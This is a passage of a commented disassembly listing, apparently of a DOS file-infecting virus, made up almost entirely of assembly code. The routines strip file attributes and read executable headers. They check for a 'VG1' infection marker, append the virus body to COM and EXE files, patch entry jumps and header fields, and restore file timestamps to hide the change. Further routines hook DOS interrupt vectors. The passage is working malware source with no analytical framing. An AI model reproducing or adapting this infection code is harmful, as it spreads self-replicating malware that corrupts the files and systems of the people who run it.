  1070.  
  1071.  
  1072.  
  1073. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1074.  
  1075. ;
  1076.  
  1077. ;         Called from:     6FB8:097E
  1078.  
  1079.  
  1080.  
  1081. sub_5:
  1082.  
  1083.         mov    ax,4300h
  1084.  
  1085.         call    sub_1            ; (0436)
  1086.  
  1087.         jc    loc_35            ; Jump if carry Set
  1088.  
  1089.         mov    cs:data_42e[si],cx    ; (6FB8:00E4=0)
  1090.  
  1091.         and    cx,0FEh
  1092.  
  1093.         mov    ax,4301h
  1094.  
  1095.         call    sub_1            ; (0436)
  1096.  
  1097.         jc    loc_35            ; Jump if carry Set
  1098.  
  1099.         mov    ax,3D02h
  1100.  
  1101.         call    sub_1            ; (0436)
  1102.  
  1103.         jc    loc_35            ; Jump if carry Set
  1104.  
  1105.         mov    bx,ax
  1106.  
  1107.         push    ds
  1108.  
  1109.         push    dx
  1110.  
  1111.         call    sub_6            ; (05BD)
  1112.  
  1113.         pop    dx
  1114.  
  1115.         pop    ds
  1116.  
  1117.         pushf                ; Push flags
  1118.  
  1119.         mov    cx,cs:data_42e[si]    ; (6FB8:00E4=0)
  1120.  
  1121.         cmp    cx,20h
  1122.  
  1123.         je    loc_39            ; Jump if equal
  1124.  
  1125.         mov    ax,4301h
  1126.  
  1127.         int    21h            ; DOS Services  ah=function 43h
  1128.  
  1129.                         ;  get/set file attrb, nam@ds:dx
  1130.  
  1131. loc_39:                        ;  xref 6FB8:05A1
  1132.  
  1133.         mov    cx,cs:data_43e[si]    ; (6FB8:00E6=0)
  1134.  
  1135.         mov    dx,cs:data_44e[si]    ; (6FB8:00E8=0)
  1136.  
  1137.         mov    ax,5701h
  1138.  
  1139.         int    21h            ; DOS Services  ah=function 57h
  1140.  
  1141.                         ;  get/set file date & time
  1142.  
  1143.         mov    ah,3Eh            ; '>'
  1144.  
  1145.         int    21h            ; DOS Services  ah=function 3Eh
  1146.  
  1147.                         ;  close file, bx=file handle
  1148.  
  1149.         popf                ; Pop flags
  1150.  
  1151.         retn
  1152.  
  1153. sub_4        endp
  1154.  
  1155.  
  1156.  
  1157.  
  1158.  
  1159. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1160.  
  1161. ;                   SUBROUTINE
  1162.  
  1163. ;
  1164.  
  1165. ;         Called from:     6FB8:0593
  1166.  
  1167. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1168.  
  1169.  
  1170.  
  1171. sub_6        proc    near
  1172.  
  1173.         mov    ax,5700h
  1174.  
  1175.         int    21h            ; DOS Services  ah=function 57h
  1176.  
  1177.                         ;  get/set file date & time
  1178.  
  1179.         push    cs
  1180.  
  1181.         pop    ds
  1182.  
  1183.         mov    ds:data_43e[si],cx    ; (6FB8:00E6=0)
  1184.  
  1185.         mov    ds:data_44e[si],dx    ; (6FB8:00E8=0)
  1186.  
  1187.         mov    dx,si
  1188.  
  1189.         add    dx,0Dh
  1190.  
  1191.         mov    di,dx
  1192.  
  1193.         mov    ah,3Fh            ; '?'
  1194.  
  1195.         mov    cx,1Ch
  1196.  
  1197.         int    21h            ; DOS Services  ah=function 3Fh
  1198.  
  1199.                         ;  read file, cx=bytes, to ds:dx
  1200.  
  1201.         cmp    word ptr [di],5A4Dh
  1202.  
  1203.         je    loc_42            ; Jump if equal
  1204.  
  1205.         call    sub_9            ; (0764)
  1206.  
  1207.         add    ax,0CF5h
  1208.  
  1209.         jc    loc_ret_40        ; Jump if carry Set
  1210.  
  1211.         cmp    byte ptr [di],0E9h
  1212.  
  1213.         jne    loc_41            ; Jump if not equal
  1214.  
  1215.         mov    dx,[di+1]
  1216.  
  1217.         xor    cx,cx            ; Zero register
  1218.  
  1219.         mov    ax,4200h
  1220.  
  1221.         int    21h            ; DOS Services  ah=function 42h
  1222.  
  1223.                         ;  move file ptr, cx,dx=offset
  1224.  
  1225.         mov    dx,di
  1226.  
  1227.         add    dx,1Ch
  1228.  
  1229.         mov    ah,3Fh            ; '?'
  1230.  
  1231.         mov    cx,3
  1232.  
  1233.         int    21h            ; DOS Services  ah=function 3Fh
  1234.  
  1235.                         ;  read file, cx=bytes, to ds:dx
  1236.  
  1237.         call    sub_7            ; (06AB)
  1238.  
  1239.         jnc    loc_41            ; Jump if carry=0
  1240.  
  1241.         mov    cs:data_58[si],1    ; (6FB8:0155=0)
  1242.  
  1243.  
  1244.  
  1245. loc_ret_40:                    ;  xref 6FB8:05E6
  1246.  
  1247.         retn
  1248.  
  1249. loc_41:                        ;  xref 6FB8:05EB, 0606
  1250.  
  1251.         call    sub_9            ; (0764)
  1252.  
  1253.         mov    word ptr ds:[880h][si],ax    ; (6FB8:0880=687h)
  1254.  
  1255.         mov    word ptr ds:[882h][si],dx    ; (6FB8:0882=90h)
  1256.  
  1257.         push    ax
  1258.  
  1259.         mov    word ptr [di+3],0FFFFh
  1260.  
  1261.         mov    cx,5
  1262.  
  1263.         mov    ah,40h            ; '@'
  1264.  
  1265.         mov    dx,di
  1266.  
  1267.         int    21h            ; DOS Services  ah=function 40h
  1268.  
  1269.                         ;  write file cx=bytes, to ds:dx
  1270.  
  1271.         mov    dx,si
  1272.  
  1273.         add    dx,5
  1274.  
  1275.         mov    cx,0BF5h
  1276.  
  1277.         mov    ah,40h            ; '@'
  1278.  
  1279.         int    21h            ; DOS Services  ah=function 40h
  1280.  
  1281.                         ;  write file cx=bytes, to ds:dx
  1282.  
  1283.         mov    ax,4200h
  1284.  
  1285.         xor    cx,cx            ; Zero register
  1286.  
  1287.         xor    dx,dx            ; Zero register
  1288.  
  1289.         int    21h            ; DOS Services  ah=function 42h
  1290.  
  1291.                         ;  move file ptr, cx,dx=offset
  1292.  
  1293.         mov    byte ptr [di],0E9h
  1294.  
  1295.         pop    ax
  1296.  
  1297.         add    ax,0F7h
  1298.  
  1299.         mov    [di+1],ax
  1300.  
  1301.         mov    dx,di
  1302.  
  1303.         mov    cx,3
  1304.  
  1305.         mov    ah,40h            ; '@'
  1306.  
  1307.         int    21h            ; DOS Services  ah=function 40h
  1308.  
  1309.                         ;  write file cx=bytes, to ds:dx
  1310.  
  1311.         clc                ; Clear carry flag
  1312.  
  1313.         retn
  1314.  
  1315. loc_42:                        ;  xref 6FB8:05DE
  1316.  
  1317.         cmp    word ptr [di+0Ch],0FFFFh
  1318.  
  1319.         jne    loc_43            ; Jump if not equal
  1320.  
  1321.         push    si
  1322.  
  1323.         mov    si,[di+14h]
  1324.  
  1325.         mov    cx,[di+16h]
  1326.  
  1327.         mov    ax,cx
  1328.  
  1329.         mov    cl,ch
  1330.  
  1331.         xor    ch,ch            ; Zero register
  1332.  
  1333.         shr    cx,1            ; Shift w/zeros fill
  1334.  
  1335.         shr    cx,1            ; Shift w/zeros fill
  1336.  
  1337.         shr    cx,1            ; Shift w/zeros fill
  1338.  
  1339.         shr    cx,1            ; Shift w/zeros fill
  1340.  
  1341.         shl    ax,1            ; Shift w/zeros fill
  1342.  
  1343.         shl    ax,1            ; Shift w/zeros fill
  1344.  
  1345.         shl    ax,1            ; Shift w/zeros fill
  1346.  
  1347.         shl    ax,1            ; Shift w/zeros fill
  1348.  
  1349.         add    si,ax
  1350.  
  1351.         adc    cx,0
  1352.  
  1353.         sub    si,3
  1354.  
  1355.         sbb    cx,0
  1356.  
  1357.         mov    ax,[di+8]
  1358.  
  1359.         call    sub_8            ; (0751)
  1360.  
  1361.         add    si,ax
  1362.  
  1363.         adc    cx,dx
  1364.  
  1365.         mov    dx,si
  1366.  
  1367.         pop    si
  1368.  
  1369.         mov    ax,4200h
  1370.  
  1371.         int    21h            ; DOS Services  ah=function 42h
  1372.  
  1373.                         ;  move file ptr, cx,dx=offset
  1374.  
  1375.         mov    dx,di
  1376.  
  1377.         add    dx,1Ch
  1378.  
  1379.         mov    ah,3Fh            ; '?'
  1380.  
  1381.         mov    cx,3
  1382.  
  1383.         int    21h            ; DOS Services  ah=function 3Fh
  1384.  
  1385.                         ;  read file, cx=bytes, to ds:dx
  1386.  
  1387.         call    sub_7            ; (06AB)
  1388.  
  1389.         jnc    loc_46            ; Jump if carry=0
  1390.  
  1391.         mov    cs:data_58[si],1    ; (6FB8:0155=0)
  1392.  
  1393.         retn
  1394.  
  1395.  
  1396.  
  1397. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1398.  
  1399. ;
  1400.  
  1401. ;         Called from:     6FB8:0603, 069F
  1402.  
  1403.  
  1404.  
  1405. sub_7:
  1406.  
  1407.         cmp    word ptr [di+1Ch],4756h
  1408.  
  1409.         jne    loc_45            ; Jump if not equal
  1410.  
  1411.         cmp    byte ptr [di+1Eh],31h    ; '1'
  1412.  
  1413.         jne    loc_45            ; Jump if not equal
  1414.  
  1415. loc_43:                        ;  xref 6FB8:0657
  1416.  
  1417.         stc                ; Set carry flag
  1418.  
  1419.  
  1420.  
  1421. loc_ret_44:                    ;  xref 6FB8:06E0
  1422.  
  1423.         retn
  1424.  
  1425. loc_45:                        ;  xref 6FB8:06B0, 06B6
  1426.  
  1427.         clc                ; Clear carry flag
  1428.  
  1429.         retn
  1430.  
  1431. loc_46:                        ;  xref 6FB8:06A2
  1432.  
  1433.         call    sub_9            ; (0764)
  1434.  
  1435.         mov    word ptr ds:[880h][si],ax    ; (6FB8:0880=687h)
  1436.  
  1437.         mov    word ptr ds:[882h][si],dx    ; (6FB8:0882=90h)
  1438.  
  1439.         mov    cx,[di+4]
  1440.  
  1441.         shl    cx,1            ; Shift w/zeros fill
  1442.  
  1443.         xchg    ch,cl
  1444.  
  1445.         mov    bp,cx
  1446.  
  1447.         and    bp,0FF00h
  1448.  
  1449.         xor    ch,ch            ; Zero register
  1450.  
  1451.         add    bp,[di+6]
  1452.  
  1453.         adc    cx,0
  1454.  
  1455.         sub    bp,ax
  1456.  
  1457.         sbb    cx,dx
  1458.  
  1459.         jc    loc_ret_44        ; Jump if carry Set
  1460.  
  1461.         push    ax
  1462.  
  1463.         push    dx
  1464.  
  1465.         push    word ptr [di+18h]
  1466.  
  1467.         mov    byte ptr [di+18h],0FFh
  1468.  
  1469.         mov    cx,5
  1470.  
  1471.         mov    ah,40h            ; '@'
  1472.  
  1473.         mov    dx,di
  1474.  
  1475.         add    dx,14h
  1476.  
  1477.         int    21h            ; DOS Services  ah=function 40h
  1478.  
  1479.                         ;  write file cx=bytes, to ds:dx
  1480.  
  1481.         pop    word ptr [di+18h]
  1482.  
  1483.         mov    dx,si
  1484.  
  1485.         add    dx,5
  1486.  
  1487.         mov    cx,0BF5h
  1488.  
  1489.         mov    ah,40h            ; '@'
  1490.  
  1491.         int    21h            ; DOS Services  ah=function 40h
  1492.  
  1493.                         ;  write file cx=bytes, to ds:dx
  1494.  
  1495.         mov    ax,4200h
  1496.  
  1497.         xor    cx,cx            ; Zero register
  1498.  
  1499.         xor    dx,dx            ; Zero register
  1500.  
  1501.         int    21h            ; DOS Services  ah=function 42h
  1502.  
  1503.                         ;  move file ptr, cx,dx=offset
  1504.  
  1505.         pop    word ptr [di+16h]
  1506.  
  1507.         pop    word ptr [di+14h]
  1508.  
  1509.         add    word ptr [di+14h],0FAh
  1510.  
  1511.         adc    word ptr [di+16h],0
  1512.  
  1513.         mov    ax,[di+8]
  1514.  
  1515.         call    sub_8            ; (0751)
  1516.  
  1517.         sub    [di+14h],ax
  1518.  
  1519.         sbb    [di+16h],dx
  1520.  
  1521.         mov    cl,0Ch
  1522.  
  1523.         shl    word ptr [di+16h],cl    ; Shift w/zeros fill
  1524.  
  1525.         mov    ax,0BFAh
  1526.  
  1527.         add    ax,[di+2]
  1528.  
  1529.         mov    [di+2],ax
  1530.  
  1531.         and    word ptr [di+2],1FFh
  1532.  
  1533.         mov    al,ah
  1534.  
  1535.         xor    ah,ah            ; Zero register
  1536.  
  1537.         shr    ax,1            ; Shift w/zeros fill
  1538.  
  1539.         add    [di+4],ax
  1540.  
  1541.         mov    dx,di
  1542.  
  1543.         mov    cx,1Ch
  1544.  
  1545.         mov    ah,40h            ; '@'
  1546.  
  1547.         int    21h            ; DOS Services  ah=function 40h
  1548.  
  1549.                         ;  write file cx=bytes, to ds:dx
  1550.  
  1551.         clc                ; Clear carry flag
  1552.  
  1553.         retn
  1554.  
  1555. sub_6        endp
  1556.  
  1557.  
  1558.  
  1559.  
  1560.  
  1561. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1562.  
  1563. ;                   SUBROUTINE
  1564.  
  1565. ;
  1566.  
  1567. ;         Called from:     6FB8:0684, 0721
  1568.  
  1569. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1570.  
  1571.  
  1572.  
  1573. sub_8        proc    near
  1574.  
  1575.         xor    dx,dx            ; Zero register
  1576.  
  1577.         shl    ax,1            ; Shift w/zeros fill
  1578.  
  1579.         rcl    dx,1            ; Rotate thru carry
  1580.  
  1581.         shl    ax,1            ; Shift w/zeros fill
  1582.  
  1583.         rcl    dx,1            ; Rotate thru carry
  1584.  
  1585.         shl    ax,1            ; Shift w/zeros fill
  1586.  
  1587.         rcl    dx,1            ; Rotate thru carry
  1588.  
  1589.         shl    ax,1            ; Shift w/zeros fill
  1590.  
  1591.         rcl    dx,1            ; Rotate thru carry
  1592.  
  1593.         retn
  1594.  
  1595. sub_8        endp
  1596.  
  1597.  
  1598.  
  1599.  
  1600.  
  1601. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1602.  
  1603. ;                   SUBROUTINE
  1604.  
  1605. ;
  1606.  
  1607. ;         Called from:     6FB8:05E0, 060F, 06BC
  1608.  
  1609. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1610.  
  1611.  
  1612.  
  1613. sub_9        proc    near
  1614.  
  1615.         xor    dx,dx            ; Zero register
  1616.  
  1617.         xor    cx,cx            ; Zero register
  1618.  
  1619.         mov    ax,4202h
  1620.  
  1621.         int    21h            ; DOS Services  ah=function 42h
  1622.  
  1623.                         ;  move file ptr, cx,dx=offset
  1624.  
  1625.         retn
  1626.  
  1627. sub_9        endp
  1628.  
  1629.  
  1630.  
  1631.  
  1632.  
  1633. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1634.  
  1635. ;                   SUBROUTINE
  1636.  
  1637. ;
  1638.  
  1639. ;         Called from:     6FB8:0263, 04B2
  1640.  
  1641. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1642.  
  1643.  
  1644.  
  1645. sub_10        proc    near
  1646.  
  1647.         xor    ax,ax            ; Zero register
  1648.  
  1649.         mov    ds,ax
  1650.  
  1651.         lds    di,dword ptr ds:data_11e    ; (0000:009C=10BCh) Load 32 bit ptr
  1652.  
  1653.         lds    di,dword ptr [di+1]    ; Load 32 bit ptr
  1654.  
  1655.         mov    ax,di
  1656.  
  1657.         sub    di,75Fh
  1658.  
  1659.         call    sub_11            ; (07AB)
  1660.  
  1661.         jz    loc_ret_47        ; Jump if zero
  1662.  
  1663.         mov    di,ax
  1664.  
  1665.         sub    di,755h
  1666.  
  1667.         call    sub_11            ; (07AB)
  1668.  
  1669.         jz    loc_ret_47        ; Jump if zero
  1670.  
  1671.         lds    di,dword ptr ds:data_27e    ; (00AE:0080=4EFFh) Load 32 bit ptr
  1672.  
  1673.         lds    di,dword ptr [di+1]    ; Load 32 bit ptr
  1674.  
  1675.         mov    ax,di
  1676.  
  1677.         sub    di,676h
  1678.  
  1679.         call    sub_11            ; (07AB)
  1680.  
  1681.         jz    loc_ret_47        ; Jump if zero
  1682.  
  1683.         mov    di,ax
  1684.  
  1685.         sub    di,673h
  1686.  
  1687.         call    sub_11            ; (07AB)
  1688.  
  1689.  
  1690.  
  1691. loc_ret_47:                    ;  xref 6FB8:0782, 078D, 079F
  1692.  
  1693.         retn
  1694.  
  1695. sub_10        endp
  1696.  
  1697.  
  1698.  
  1699.  
  1700.  
  1701. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1702.  
  1703. ;                   SUBROUTINE
  1704.  
  1705. ;
  1706.  
  1707. ;         Called from:     6FB8:077F, 078A, 079C, 07A7
  1708.  
  1709. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1710.  
  1711.  
  1712.  
  1713. sub_11        proc    near
  1714.  
  1715.         xor    dx,dx            ; Zero register
  1716.  
  1717.         cmp    word ptr [di],4756h
  1718.  
  1719.         jne    loc_48            ; Jump if not equal
  1720.  
  1721.         cmp    byte ptr [di+2],31h    ; '1'
  1722.  
  1723.         je    loc_49            ; Jump if equal
  1724.  
  1725. loc_48:                        ;  xref 6FB8:07B1
  1726.  
  1727.         inc    dx
  1728.  
  1729. loc_49:                        ;  xref 6FB8:07B7
  1730.  
  1731.         sub    di,0F7h
  1732.  
  1733.         or    dx,dx            ; Zero ?
  1734.  
  1735.         retn
  1736.  
  1737. sub_11        endp
  1738.  
  1739.  
  1740.  
  1741.  
  1742.  
  1743. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1744.  
  1745. ;                   SUBROUTINE
  1746.  
  1747. ;
  1748.  
  1749. ;         Called from:     6FB8:07DE, 07E4, 07EA, 07F0, 0864, 086A, 0870
  1750.  
  1751. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1752.  
  1753.  
  1754.  
  1755. sub_12        proc    near
  1756.  
  1757.         mov    al,0EAh
  1758.  
  1759.         stosb                ; Store al to es:[di]
  1760.  
  1761.         mov    ax,cx
  1762.  
  1763.         add    ax,si
  1764.  
  1765.         stosw                ; Store ax to es:[di]
  1766.  
  1767.         mov    ax,cs
  1768.  
  1769.         stosw                ; Store ax to es:[di]
  1770.  
  1771.  
  1772.  
  1773. loc_ret_50:                    ;  xref 6FB8:07CF
  1774.  
  1775.         retn
  1776.  
  1777. sub_12        endp
  1778.  
  1779.  
  1780.  
  1781.  
  1782.  
  1783. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1784.  
  1785. ;                   SUBROUTINE
  1786.  
  1787. ;
  1788.  
  1789. ;         Called from:     6FB8:04F4
  1790.  
  1791. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1792.  
  1793.  
  1794.  
  1795. sub_13        proc    near
  1796.  
  1797.         or    dx,dx            ; Zero ?
  1798.  
  1799.         jz    loc_ret_50        ; Jump if zero
  1800.  
  1801.         push    ds
  1802.  
  1803.         push    es
  1804.  
  1805.         mov    es,ds:data_39e[si]    ; (6FB8:00E0=0)
  1806.  
  1807.         mov    di,data_46e        ; (6FB8:00EC=0)
  1808.  
  1809.         cld                ; Clear direction
  1810.  
  1811.         mov    cx,9A8h
  1812.  
  1813.         call    sub_12            ; (07C1)
  1814.  
  1815.         mov    cx,76Ah
  1816.  
  1817.         call    sub_12            ; (07C1)
  1818.  
  1819.         mov    cx,7BEh
  1820.  
  1821.         call    sub_12            ; (07C1)
  1822.  
  1823.         mov    cx,84Ch
  1824.  
  1825.         call    sub_12            ; (07C1)
  1826.  
  1827.         xor    ax,ax            ; Zero register
  1828.  
  1829.         mov    ds,ax
  1830.  
  1831.         cli                ; Disable interrupts
  1832.  
  1833.         mov    ax,0ECh
  1834.  
  1835.         xchg    ax,ds:data_3e        ; (0000:0070=0FF53h)
  1836.  
  1837.         mov    word ptr cs:[0A88h][si],ax    ; (6FB8:0A88=49A0h)
  1838.  
  1839.         mov    ax,es
  1840.  
  1841.         xchg    ax,ds:data_4e        ; (0000:0072=0F000h)
  1842.  
  1843.         mov    word ptr cs:[0A8Ah][si],ax    ; (6FB8:0A8A=0B904h)
  1844.  
  1845.         mov    ax,0F1h
  1846.  
  1847.         xchg    ax,ds:data_5e        ; (0000:0080=1094h)
  1848.  
  1849.         mov    word ptr cs:[76Eh][si],ax    ; (6FB8:076E=0C033h)
  1850.  
  1851.         mov    ax,es
  1852.  
  1853.         xchg    ax,ds:data_6e        ; (0000:0082=123h)
  1854.  
  1855.         mov    word ptr cs:[770h][si],ax    ; (6FB8:0770=0D88Eh)
  1856.  
  1857.         mov    ax,0F6h
  1858.  
  1859.         xchg    ax,ds:data_7e        ; (0000:0084=109Eh)
  1860.  
  1861.         mov    word ptr cs:[7DCh][si],ax    ; (6FB8:07DC=9A8h)
  1862.  
  1863.         mov    ax,es
  1864.  
  1865.         xchg    ax,ds:data_8e        ; (0000:0086=123h)
  1866.  
  1867.         mov    word ptr cs:[7DEh][si],ax    ; (6FB8:07DE=0E0E8h)
  1868.  
  1869.         mov    ax,0FBh
  1870.  
  1871.         xchg    ax,ds:data_11e        ; (0000:009C=10BCh)
  1872.  
  1873.         mov    word ptr cs:[857h][si],ax    ; (6FB8:0857=6C3h)
  1874.  
  1875.         mov    ax,es
  1876.  
  1877.         xchg    ax,word ptr ds:data_11e+2    ; (0000:009E=123h)
  1878.  
  1879.         mov    word ptr cs:[859h][si],ax    ; (6FB8:0859=848Eh)
  1880.  
  1881.         pop    es
  1882.  
  1883.         pop    ds
  1884.  
  1885.         sti                ; Enable interrupts
  1886.  
  1887.         retn
  1888.  
  1889. sub_13        endp
  1890.  
  1891.  
  1892.  
  1893.  
  1894.  
  1895. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1896.  
  1897. ;                   SUBROUTINE
  1898.  
  1899. ;
  1900.  
  1901. ;         Called from:     6FB8:08F2
  1902.  
  1903. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1904.  
  1905.  
  1906.  
  1907. sub_14        proc    near
  1908.  
  1909.         push    es
  1910.  
  1911.         mov    es,word ptr ds:[0E0h][si]    ; (0000:00E0=10DAh)
  1912.  
  1913.         mov    di,data_21e        ; (0000:00F1=10h)
  1914.  
  1915.         cld                ; Clear direction
  1916.  
  1917.         mov    cx,76Dh
  1918.  
  1919.         call    sub_12            ; (07C1)
  1920.  
  1921.         mov    cx,7E0h
  1922.  
  1923.         call    sub_12            ; (07C1)
  1924.  
  1925.         mov    cx,856h
  1926.  
  1927.         call    sub_12            ; (07C1)
  1928.  
  1929.         pop    es
  1930.  
  1931.         retn
  1932.  
  1933. sub_14        endp
  1934.  
  1935.  
  1936.  
  1937.  
  1938.  
  1939. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1940.  
  1941. ;                   SUBROUTINE
  1942.  
  1943. ;
  1944.  
  1945. ;         Called from:     6FB8:024A, 0938
  1946.  
  1947. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1948.  
  1949.  
  1950.  
  1951. sub_15        proc    near
  1952.  
  1953.         push    es
  1954.  
  1955.         xor    ax,ax            ; Zero register
  1956.  
  1957.         mov    es,ax
  1958.  
  1959.         mov    ax,85Bh
  1960.  
  1961.         add    ax,si
  1962.  
  1963.         xchg    ax,es:data_9e        ; (0000:0090=156h)
  1964.  
  1965.         mov    ds:data_18e[si],ax    ; (0000:00EA=123h)
  1966.  
  1967.         mov    ax,cs
  1968.  
  1969.         xchg    ax,es:data_10e        ; (0000:0092=44Bh)
  1970.  
  1971.         mov    ds:data_19e[si],ax    ; (0000:00EC=10DAh)
  1972.  
  1973.         pop    es
  1974.  
  1975.         mov    byte ptr ds:data_20e[si],0    ; (0000:00EE=23h)
  1976.  
  1977.         retn
  1978.  
  1979. sub_15        endp
  1980.  
  1981.  
  1982.  
  1983.  
  1984.  
  1985. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1986.  
  1987. ;                   SUBROUTINE
  1988.  
  1989. ;
  1990.  
  1991. ;         Called from:     6FB8:0499, 0981
  1992.  
  1993. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1994.  
  1995.  
  1996.  
  1997. sub_16        proc    near
  1998.  
  1999.         push    es
  2000.  
  2001.         xor    ax,ax            ; Zero register
  2002.  
  2003.         mov    es,ax
  2004.  
  2005.         mov    ax,cs:data_45e[si]    ; (6FB8:00EA=0)
  2006.  
  2007.         mov    es:data_9e,ax        ; (0000:0090=156h)
  2008.  
  2009.         mov    ax,cs:data_46e[si]    ; (6FB8:00EC=0)
  2010.  
  2011.         mov    es:data_10e,ax        ; (0000:0092=44Bh)
  2012.  
  2013.         pop    es
  2014.  
  2015.         retn
  2016.  
  2017. sub_16        endp
  2018.  
  2019.  
  2020.  
  2021.         jmp    short loc_53        ; (08EA)
  2022.  
  2023.         nop
  2024.  
  2025. ;*        jmp    far ptr loc_2        ;*(029B:136C)
  2026.  
  2027.         db    0EAh, 6Ch, 13h, 9Bh, 02h
  2028.  
  2029.  
  2030.  
  2031. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2032.  
  2033. ;                   SUBROUTINE
  2034.  
